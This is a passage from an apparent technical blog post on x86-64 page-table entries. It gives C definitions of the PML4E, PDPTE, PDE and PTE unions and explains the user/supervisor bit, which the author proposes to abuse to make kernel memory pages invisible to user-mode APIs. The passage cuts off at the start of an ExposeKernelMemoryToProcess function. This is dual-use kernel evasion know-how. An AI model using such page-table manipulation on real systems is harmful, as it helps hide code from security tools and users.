&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;write_through&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;cache_disable&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;accessed&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;reserved_1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_2&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pdpt_p&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_3&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;xd&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PML4E&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;PDPTE_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;present&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;rw&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;user&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;write_through&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;cache_disable&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;accessed&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;dirty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;page_size&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_2&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pd_p&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_3&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;xd&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PDPTE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;PDE_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;present&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;rw&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;user&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;write_through&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;cache_disable&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 83&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;accessed&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 84&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;dirty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 85&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;page_size&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 86&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_2&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 87&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pt_p&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 88&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_3&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 89&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;xd&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 90&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 91&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PDE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 92&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 93&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;typedef&lt;/span&gt; &lt;span class="k"&gt;union&lt;/span&gt; &lt;span class="n"&gt;PTE_&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 94&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 95&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 96&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;VIRT_ADDR&lt;/span&gt; &lt;span class="n"&gt;vaddr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 97&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;struct&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 98&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 99&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;present&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;100&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;rw&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;101&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;user&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;102&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;write_through&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;103&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;cache_disable&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;104&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;accessed&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;105&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;dirty&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;106&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;pat&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;107&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;global&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;108&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_1&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;109&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;page_frame&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;110&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;ignored_3&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;111&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="nl"&gt;xd&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;112&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;113&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="n"&gt;PTE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;114&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#pragma pack(pop)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The flag that interests us is the .user one, the user/supervisor flag gets to decide whether a memory region is accessible from user-mode. So in contrast to what people think, the microcode for these checks would be something like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Pte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Pde&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Pdpte&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Pml4e&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;instead of&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;Va&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF80000000&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Doesn&amp;rsquo;t this sound abusable to you? Because it definitely is. We will be using it to create a page that is invisible to all user-mode APIs in our case which is as simple to do as:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cpp" data-lang="cpp"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="nf"&gt;ExposeKernelMemoryToProcess&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;MemoryController&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="n"&gt;Mc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;PVOID&lt;/span&gt; &lt;span class="n"&gt;Memory&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;SIZE_T&lt;/span&gt; &lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;uint64_t&lt;/span&gt; &lt;span class="n"&gt;EProcess&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;Mc&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AttachTo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;EProcess&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;BOOL&lt;/span&gt; &lt;span class="n"&gt;Success&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;TRUE&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;
